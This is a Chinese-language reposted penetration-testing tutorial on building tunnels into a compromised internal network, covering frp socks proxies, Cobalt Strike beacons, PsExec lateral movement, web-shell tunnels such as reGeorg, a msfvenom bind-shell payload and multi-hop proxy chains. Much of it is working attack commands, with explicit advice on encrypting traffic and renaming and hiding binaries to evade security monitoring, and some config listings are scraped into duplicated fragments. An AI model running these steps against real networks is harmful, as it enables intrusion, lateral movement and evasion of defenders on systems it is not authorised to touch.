內網滲透之搭建一條通向內網的“專屬通道”技巧

可領全套安全課程、配套攻防靶場


內網滲透之搭建一條通向內網的“專屬通道”技巧


君子藏器於身待時而動,安全不露圭角覆盂之安。

——AnonyS


前言


在內網滲透時,一個WebShell或CobaltStrike、Metasploit上線等,只是開端,更多是要內網橫向移動,擴大戰果,打到核心區域。


但後滲透的前提是需要搭建一條通向內網的“專屬通道”,才能進一步攻擊。可實戰中因為網絡環境不同,所利用的方式就不同。


以下為自我總結“實戰中內網穿透的打法”思維導圖:

內網滲透之搭建一條通向內網的“專屬通道”技巧

目標出網(socks代理)


這是實戰中最願意碰到的網絡環境,目標機可以正常訪問互聯網,可直接在目標機掛socks代理或CobaltStrike上線,打通目標的內網通道。


Frp(socks5)


Frp服務端配置文件:


<code>2.server_addr = xx.xx.xx.xx/<code>


<code>4.#服務端口使用Web常見端口/<code>

Frp客戶端配置文件:


<code>7.type = tcp/<code>


<code>8.remote_port = 8088/<code>


<code>9.plugin = socks5/<code>


<code>10.use_encryption = true /<code>


<code>11.use_compression = true/<code>
<code>6.[socks5]/<code>


<code>12.#socks5口令/<code>


<code>13.#plugin_user = SuperMan/<code>


<code>#plugin_passwd = XpO2McWe6nj/<code>


<code>12.#socks5口令/<code>


<code>13.#plugin_user = SuperMan/<code>


<code>14.#plugin_passwd = XpO2McWe6nj/<code>


<code>13.#plugin_user = SuperMan/<code> 


<code>14.#plugin_passwd = XpO2McWe6nj/<code>


此處添加了加密壓縮這兩個功能,默認是不開啟的,根據作者介紹,壓縮算法使用的是 snappy。

use_encryption = true 啟用加密 [通信內容加密傳輸,有效防止流量被攔截]

use_compression = true 啟用壓縮 [傳輸內容進行壓縮,有效減小傳輸的網絡流量,加快流量轉發速度,但會額外消耗一些CPU資源]

use_encryption = true 、use_compression = true 必須放在相關協議下面。

frp客戶端與配置文件傳到目標機後,把程序名與配置文件進行修改,並放在系統相關文件夾中,做到隱蔽。

內網滲透之搭建一條通向內網的“專屬通道”技巧

內網滲透之搭建一條通向內網的“專屬通道”技巧

內網滲透之搭建一條通向內網的“專屬通道”技巧

加密壓縮的對比


這是frp客戶端配置文件中未使用encryption與compression功能,利用metasploit掛socks代理,掃描ms17_010傳輸的數據包,明顯可辨別出具體攻擊行為。


如果目標內網有”態勢感知“、流量分析等安全設備,就會被監測到,導致權限丟失。

內網滲透之搭建一條通向內網的“專屬通道”技巧

使用encryption與compression功能後,雖攻擊源地址同樣會暴露,但傳輸的數據包卻無法辨別,規避了內網中的安全監測設備。

內網滲透之搭建一條通向內網的“專屬通道”技巧

CobaltStrike (socks4a)


到已控目標機的Beacon下將socks代理開啟。


<code>1.beacon > socks 1024 #端口根據VPS實際情況進行設置/<code>
內網滲透之搭建一條通向內網的“專屬通道”技巧

菜單欄中的View > Proxy Pivots,複製代理連接到Metasploit中,或直接將socks4a掛在相關安全工具中。

內網滲透之搭建一條通向內網的“專屬通道”技巧

上線不出網機器


這是link鏈接,只要主鏈路(出網機Beacon)掉線,均掉!

SMB Beacon

官方對SMB Beacon的介紹:SMB Beacon是使用命名管道通過父級Beacon進行通訊,當兩個Beacons鏈接後,子Beacon從父Beacon獲取到任務併發送。


因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB Beacon相對隱蔽。


創建一個SMB的Listener (host與port可無視),注意Listener選擇,在session中選擇route可達的主機派生會話。

內網滲透之搭建一條通向內網的“專屬通道”技巧

運行成功後,可以看到 ∞∞ 這個字符,這就是派生SMB Beacon的連接狀態。

內網滲透之搭建一條通向內網的“專屬通道”技巧

內網滲透之搭建一條通向內網的“專屬通道”技巧

可在主Beacon上用link host鏈接或unlink host斷開。


<code>1.beacon> link 192.168.144.155/<code>


<code>2.beacon> unlink 192.168.144.155/<code>
內網滲透之搭建一條通向內網的“專屬通道”技巧

Link Listener


在已上線的主機創建Listener。

內網滲透之搭建一條通向內網的“專屬通道”技巧

導出該類型Listener對應的可執行文件或dll等。

內網滲透之搭建一條通向內網的“專屬通道”技巧

選擇剛建立的Listener。

內網滲透之搭建一條通向內網的“專屬通道”技巧

上傳剛才生成的payload到當前已上線的目標機中,這裡用PsExec.exe 工具 。(CobalStrike本身psexec功能不夠強大)

內網滲透之搭建一條通向內網的“專屬通道”技巧

在Beacon中使用PsExec工具將payload上傳到不出網的目標機中,自動執行,上線。

beacon> shell C:\\WINDOWS\\Temp\\PsExec.exe -accepteula \\\\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\\WINDOWS\\Temp\\beacon.exe

內網滲透之搭建一條通向內網的“專屬通道”技巧


<code>beacon> shell netstat -ano |findstr 4444/<code>
內網滲透之搭建一條通向內網的“專屬通道”技巧

SSH Login


<code>beacon> ssh 192.168.144.174:22 root admin/<code>


<code>beacon> ssh 192.168.144.203:22 root admin/<code>
內網滲透之搭建一條通向內網的“專屬通道”技巧

在Linux目標機中查看網絡連接狀態,實際是與之前已上線的Windows主機建立的連接。

內網滲透之搭建一條通向內網的“專屬通道”技巧

目標不出網(http代理)


目標機網絡中可能有防火牆、網閘等,只允許http單向出,無法正常訪問互聯網,用上述socks方法是行不通的,只能用http代理進行滲透。


reGeorg (socks5)


<code>python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080/<code>
內網滲透之搭建一條通向內網的“專屬通道”技巧

利用metasploit掛reGeorg socks代理,掃描ms17_010傳輸的數據包,明顯可辨別攻擊行為。

內網滲透之搭建一條通向內網的“專屬通道”技巧

Neo-reGeorg (加密)


<code>python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx/<code>

使用Neo-reGeorg後,數據包已被加密

傳輸。

內網滲透之搭建一條通向內網的“專屬通道”技巧

冰蠍 (開socks5)


冰蠍的數據包傳輸是加密的,本身也具備socks代理功能,但傳輸過程中存在丟包情況。這裡同樣是利用metasploit探測ms17_010漏洞,結果顯示不存在。


當不設置代理探測時,實際漏洞是存在的。

雖然冰蠍的這種代理掃描方式不如reGeorg準確,但小線程的端口探測等是可行的,如 auxiliary/scanner/portscan/tcp。

準確度更多是因某種探測或其他方式的數據包在傳輸過程中的多少而決定。

內網滲透之搭建一條通向內網的“專屬通道”技巧

reduh (單端口轉發)


當目標服務器中間件等服務版本較低,reGeorg或冰蠍馬等無法正常解析,就需要換用其它的http代理腳本。這是某實戰中遇到的環境:

內網滲透之搭建一條通向內網的“專屬通道”技巧

這裡以reduh為例,雖然只能對指定的端口進行轉發 (不適用圖形化連接操作)


但可以先利用msfvenom生成正向的shell payload,再結合reduh單端口轉發,上線metasploit,最後利用socks4a模塊開代理。


下面把具體的流程走一遍:


<code>1.sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe/<code>
<code>2./<code>


<code>4.-e, --encoder    <encoder>        指定需要使用的編碼器/<encoder>/<code>


<code>5.-i, --iterations <count>          指定payload的編碼次數/<count>/<code>


<code>1.sudo msfconsole -q/<code>
內網滲透之搭建一條通向內網的“專屬通道”技巧

上傳payload到目標服務器,並執行。

內網滲透之搭建一條通向內網的“專屬通道”技巧

metasploit是監聽轉發後的地址與端口。


<code>3.msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp/<code>


<code>4.msf5 exploit(multi/handler) > set rhost 127.0.0.1/<code>


<code>5.msf5 exploit(multi/handler) > set lport 5353/<code>


<code>6.msf5 exploit(multi/handler) > run -j/<code>


<code>java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx/<code>


<code>3.telnet 127.0.0.1 1010 /<code>
內網滲透之搭建一條通向內網的“專屬通道”技巧

reDuhServer傳到目標機後,使用reDuhClient進行連接,並將反彈的端口轉本地後,


<code>1.msf5 exploit(multi/handler) > use auxiliary/server/socks4a/<code>
<code>2./<code>


<code>2.msf5 auxiliary(server/socks4a) > set srvport 10080/<code>


<code>3.msf5 auxiliary(server/socks4a) > run -j/<code>
內網滲透之搭建一條通向內網的“專屬通道”技巧

可在metasploit滲透,或開啟一個socks4a,掛載其他安全工具上繼續滲透。


<code>1.msf5 exploit(multi/handler) > use auxiliary/server/socks4a/<code>


<code>2.msf5 auxiliary(server/socks4a) > set srvport 10080/<code>


<code>3.msf5 auxiliary(server/socks4a) > run -j/<code>
內網滲透之搭建一條通向內網的“專屬通道”技巧

注意


為什麼payload要用shell,而不用meterpreter。


meterpreter是高級的payload,傳輸中佔用大量數據包,這種單端口轉發上線metasploit,本就不是很穩定,meterpreter會使“小水管”更加不穩定!

內網滲透之搭建一條通向內網的“專屬通道”技巧

隔離網絡(多級代理)


內網滲透中,會遇到隔離網絡,更多時候是邏輯上的隔離,突破的辦法就是拿到route可達的跳板機 (多張網卡、運維機等)的權限,建立一層二級代理、三級代理…


frp

現拿到一臺雙網卡內網服務器權限,可以用frp建立通道,這臺服務器既是服務端也是客戶端。

內網滲透之搭建一條通向內網的“專屬通道”技巧

proxifier


用frp建立好後,結合proxifier添加兩條代理:外網socks、內網socks,之後創建代理鏈 。(注意代理順序)

內網滲透之搭建一條通向內網的“專屬通道”技巧

設置代理規則,選擇對應代理。

內網滲透之搭建一條通向內網的“專屬通道”技巧

二層代理成功,內網隔離機445探測開放。

內網滲透之搭建一條通向內網的“專屬通道”技巧

Proxychains


命令行代理神器proxychains,設置二層代理、socks口令。(注意代理順序)

內網滲透之搭建一條通向內網的“專屬通道”技巧

聯動metasploit,ms17_010探測,可以看到代理鏈的傳輸過程。

內網滲透之搭建一條通向內網的“專屬通道”技巧

Metasploit


內網滲透之搭建一條通向內網的“專屬通道”技巧

針對metasploit的利用,只要sessions中的route可達,就可以直接進行多層網絡滲透,更加方便。但主session掉,均掉!

在獲取目標一個sessions 後,可以查看IP段信息並自動添加路由表。

內網滲透之搭建一條通向內網的“專屬通道”技巧

上述是在meterpreter權限中添加,或當知道目標路由表信息時,可直接添加。


內網滲透之搭建一條通向內網的“專屬通道”技巧


內網滲透之搭建一條通向內網的“專屬通道”技巧

可在metasploit繼續滲透,或開啟一個socks,掛載其他工具上多層穿透


總結


內網穿透時,代理需要穩定、隱蔽,思路更需要不斷的拓寬。


畢竟在實戰中,多麼複雜的環境都會遇到,更多的是總結不同打法,進行落地,最終將內網的“大門”打開!


有不同見解,或更優的方法可隨時交流^_^


內網滲透之搭建一條通向內網的“專屬通道”技巧


轉載自:https://payloads.cn/2020/0105/intranet-penetration-in-actual-combat.html


今天你知道了嗎

內網滲透之搭建一條通向內網的“專屬通道”技巧


加群,黑客技術大咖在線解答(群號評論區見)


分享到:


相關文章: